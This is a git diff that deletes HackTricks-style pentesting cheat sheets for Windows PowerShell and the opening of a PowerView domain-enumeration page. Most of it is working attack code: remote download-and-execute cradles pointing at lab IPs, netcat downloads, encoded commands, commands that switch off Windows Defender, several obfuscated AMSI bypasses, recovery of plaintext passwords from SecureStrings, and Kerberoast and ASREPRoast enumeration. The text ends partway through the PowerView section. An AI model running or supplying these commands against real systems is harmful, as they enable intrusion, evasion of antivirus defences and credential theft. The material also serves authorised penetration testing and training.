-wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
-```
-
-### BitsTransfer
-
-```bash
-Import-Module BitsTransfer
-Start-BitsTransfer -Source $url -Destination $output
-# OR
-Start-BitsTransfer -Source $url -Destination $output -Asynchronous
-```
-
-## Base64 Kali & EncodedCommand
-
-```bash
-kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
-PS> powershell -EncodedCommand <Base64>
-```
-
-## [Execution Policy](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy)
-
-## [Constrained language](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
-
-## [AppLocker Policy](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
-
-## Enable WinRM (Remote PS)
-
-```bash
-enable-psremoting -force #This enables winrm
-
-# Change NetWorkConnection Category to Private
-#Requires -RunasAdministrator
-
-Get-NetConnectionProfile |
-  Where{ $_.NetWorkCategory -ne 'Private'} |
-  ForEach {
-    $_
-    $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
-  }
-```
-
-## Disable Defender
-
-```bash
-# Check status
-Get-MpComputerStatus
-Get-MpPreference | select Exclusion* | fl #Check exclusions
-# Disable
-Set-MpPreference -DisableRealtimeMonitoring $true
-#To completely disable Windows Defender on a computer, use the command:
-New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
-# Set exclusion path
-Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
-Add-MpPreference -ExclusionPath (pwd)
-
-# Check exclusions configured via GPO
-Parse-PolFile .\Registry.pol
-
-KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
-ValueName : Exclusions_Paths
-ValueType : REG_DWORD
-ValueLength : 4
-ValueData : 1
-
-KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
-ValueName : C:\Windows\Temp
-ValueType : REG_SZ
-ValueLength : 4
-ValueData : 0
-```
-
-### AMSI bypass
-
-**`amsi.dll`** is **loaded** into your process, and has the necessary **exports** for any application interact with. And because it's loaded into the memory space of a process you **control**, you can change its behaviour by **overwriting instructions in memory**. Making it not detect anything.
-
-Therefore, the goal of the AMSI bypasses you will use is to **overwrite the instructions of that DLL in memory to make the detection useless**.
-
-**AMSI bypass generator** web page: [**https://amsi.fail/**](https://amsi.fail/)
-
-```bash
-# A Method
-[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
-
-# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
-$A="5492868772801748688168747280728187173688878280688776828"
-$B="1173680867656877679866880867644817687416876797271"
-[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
-substring(($_*2),2))})-replace " " ).
-GetField([string](38..51|%{[char][int](29+($A+$B).
-substring(($_*2),2))})-replace " ",'NonPublic,Static').
-SetValue($null,$true)
-
-# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
-[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
-
-# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
-&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
-
-# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
-${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
-${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
-${1}.SetValue($null,$true)
-
-# Another Method
-$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
-$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
-$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
-$field.SetValue($null,$true)
-
-# AMSI Bypass in python
-https://fluidattacks.com/blog/amsi-bypass-python/
-
-# Testing for Amsi Bypass:
-https://github.com/rasta-mouse/AmsiScanBufferBypass
-
-# Amsi-Bypass-Powershell
-https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
-
-https://blog.f-secure.com/hunting-for-amsi-bypasses/
-https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
-https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
-https://slaeryan.github.io/posts/falcon-zero-alpha.html
-```
-
-### AMSI Bypass 2 - Managed API Call Hooking
-
-Check [**this post for detailed info and the code**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Introduction:
-
-This new technique relies upon API call hooking of .NET methods. As it turns out, .NET Methods need to get compiled down to native machine instructions in memory which end up looking very similar to native methods. These compiled methods can hooked to change the control flow of a program.
-
-The steps performing API cal hooking of .NET methods are:
-
-1. Identify the target method to hook
-2. Define a method with the same function prototype as the target
-3. Use reflection to find the methods
-4. Ensure each method has been compiled
-5. Find the location of each method in memory
-6. Overwrite the target method with instructions pointing to our malicious method
-
-### AMSI Bypass 3 - SeDebug Privilege
-
-[**Following this guide & code**](https://github.com/MzHmO/DebugAmsi) you can see how with enough privileges to debug processes, you can spawn a powershell.exe process, debug it, monitor when it loads `amsi.dll` and disable it.
-
-### AMSI Bypass - More Resources
-
-- Check the page about **[Bypassing AVs & AMSI](../av-bypass.md)**
-- [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)
-- [Amsi Bypass on Windows 11 In 2023](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023)
-
-## PS-History
-
-```bash
-Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
-```
-
-## Find a newer files
-
-Options : `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc`
-
-```bash
-# LastAccessTime:
-(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName
-
-# LastWriteTime:
-(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
-```
-
-## Get permissions
-
-```bash
-Get-Acl -Path "C:\Program Files\Vuln Services" | fl
-```
-
-## OS version and HotFixes
-
-```bash
-[System.Environment]::OSVersion.Version #Current OS version
-Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
-Get-Hotfix -description "Security update" #List only "Security Update" patches
-```
-
-## Environment
-
-```bash
-Get-ChildItem Env: | ft Key,Value -AutoSize #get all values
-$env:UserName @Get UserName value
-```
-
-## Other connected drives
-
-```bash
-Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
-```
-
-### Recycle Bin
-
-```bash
-$shell = New-Object -com shell.application
-$rb = $shell.Namespace(10)
-$rb.Items()
-```
-
-[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/)
-
-## Domain Recon
-
-
-{{#ref}}
-powerview.md
-{{#endref}}
-
-## Users
-
-```bash
-Get-LocalUser | ft Name,Enabled,Description,LastLogon
-Get-ChildItem C:\Users -Force | select Name
-```
-
-## Secure String to Plaintext
-
-```bash
-$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
-$user = "HTB\Tom"
-$cred = New-Object System.management.Automation.PSCredential($user, $pass)
-$cred.GetNetworkCredential() | fl
-
-UserName       : Tom
-Password       : 1ts-mag1c!!!
-SecurePassword : System.Security.SecureString
-Domain         : HTB
-```
-
-Or directly parsing form XML:
-
-```bash
-$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
-
-UserName       : Tom
-Password       : 1ts-mag1c!!!
-SecurePassword : System.Security.SecureString
-Domain         : HTB
-```
-
-## SUDO
-
-```bash
-#CREATE A CREDENTIAL OBJECT
-$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
-$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
-
-#For local:
-Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
-
-#For WINRM
-#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
-Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
-#DOWNLOAD nc.exe
-Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
-
-Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
-
-#Another method
-$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
-$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
-$computer = "<hostname>"
-```
-
-## Groups
-
-```bash
-Get-LocalGroup | ft Name #All groups
-Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
-```
-
-## Clipboard
-
-```bash
-Get-Clipboard
-```
-
-Perform some clipboard monitoring using:
-
-- [https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1](https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1)
-- [https://github.com/slyd0g/SharpClipboard](https://github.com/slyd0g/SharpClipboard)
-
-## Processes
-
-```bash
-Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
-```
-
-## Services
-
-```
-Get-Service
-```
-
-## Password from secure string
-
-```bash
-$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
-$cred=new-object system.management.automation.pscredential("administrator", $pw)
-$cred.getnetworkcredential() | fl * #Get plaintext password
-```
-
-## Scheduled Tasks
-
-```bash
-Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
-```
-
-## Network
-
-### Port Scan
-
-```bash
-# Check Port or Single IP
-Test-NetConnection -Port 80 10.10.10.10
-
-# Check Port List in Single IP
-80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
-
-# Check Port Range in single IP
-1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null
-
-# Check Port List in IP Lists - 80,443,445,8080
-"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
-
-```
-
-### Interfaces
-
-```bash
-Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
-Get-DnsClientServerAddress -AddressFamily IPv4 | ft
-```
-
-### Firewall
-
-```bash
-Get-NetFirewallRule -Enabled True
-
-Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
-Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
-Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
-Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
-
-# Open SSH to the world
-New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
-
-# Get name, proto, local and rremote ports, remote address, penable,profile and direction
-## You can user the following line changing the initial filters to indicat a difefrent direction or action
-Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
-```
-
-### Route
-
-```bash
-route print
-```
-
-### ARP
-
-```bash
-Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
-```
-
-### Hosts
-
-```bash
-Get-Content C:\WINDOWS\System32\drivers\etc\hosts
-```
-
-### Ping
-
-```bash
-$ping = New-Object System.Net.Networkinformation.Ping
-1..254 | % { $ping.send("10.9.15.$_") | select address, status }
-```
-
-### SNMP
-
-```bash
-Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
-```
-
-## **Converting the SDDL String into a Readable Format**
-
-```bash
-PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0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1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
-
-Owner            : BUILTIN\Administrators
-Group            : BUILTIN\Administrators
-DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
-                   AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
-                   Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
-                   (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
-                   WriteExtendedAttributes)...}
-SystemAcl        : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
-                   BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
-                   SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
-                   (Traverse)...}
-RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor
-```
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md
deleted file mode 100644
index f2291cc8fe1..00000000000
--- a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md
+++ /dev/null
@@ -1,340 +0,0 @@
-# PowerView/SharpView
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
-
-[**SharpView**](https://github.com/tevora-threat/SharpView) is a .NET port of [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
-
-### Quick enumeration
-
-```bash
-Get-NetDomain #Basic domain info
-#User info
-Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
-Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
-Get-NetUser -PreauthNotRequired #ASREPRoastable users
-Get-NetUser -SPN #Kerberoastable users
-#Groups info
-Get-NetGroup | select samaccountname, admincount, description
-Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
-#Computers
-Get-NetComputer | select samaccountname, operatingsystem
-Get-NetComputer -Unconstrainusered | select samaccountname #DCs always appear but aren't useful for privesc
-Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
-Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
-#Shares
-Find-DomainShare -CheckShareAccess #Search readable shares
-#Domain trusts
-Get-NetDomainTrust #Get all domain trusts (parent, children and external)
-Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
-#LHF
-#Check if any user passwords are set
-$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
-#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
-Find-LocalAdminAccess
-#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
-Invoke-UserHunter -CheckAccess
-#Find interesting ACLs
-Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
-```
-
-### Domain info
-
-```bash
-# Domain Info
-Get-Domain #Get info about the current domain
-Get-NetDomain #Get info about the current domain
-Get-NetDomain -Domain mydomain.local
-Get-DomainSID #Get domain SID
-
-# Policy
-Get-DomainPolicy #Get info about the policy
-(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
-(Get-DomainPolicy)."SystemAccess" #Password policy
-Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous
-(Get-DomainPolicy).PrivilegeRights #Check your privileges
-Get-DomainPolicyData # Same as Get-DomainPolicy
-
-# Domain Controller
-Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller
-Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller
-
-# Get Forest info
-Get-ForestDomain
-```
-
-### Users, Groups, Computers & OUs
-
-```bash
-# Users
-## Get usernames and their groups
-Get-DomainUser -Properties name, MemberOf | fl
-## Get-DomainUser and Get-NetUser are kind of the same
-Get-NetUser #Get users with several (not all) properties
-Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames
-Get-NetUser -UserName student107 #Get info about a user
-Get-NetUser -properties name, description #Get all descriptions
-Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount  #Get all pwdlastset, logoncount and badpwdcount
-Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter
-# Get users with reversible encryption (PWD in clear text with dcsync)
-Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
-
-# Users Filters
-Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
-Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
-Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
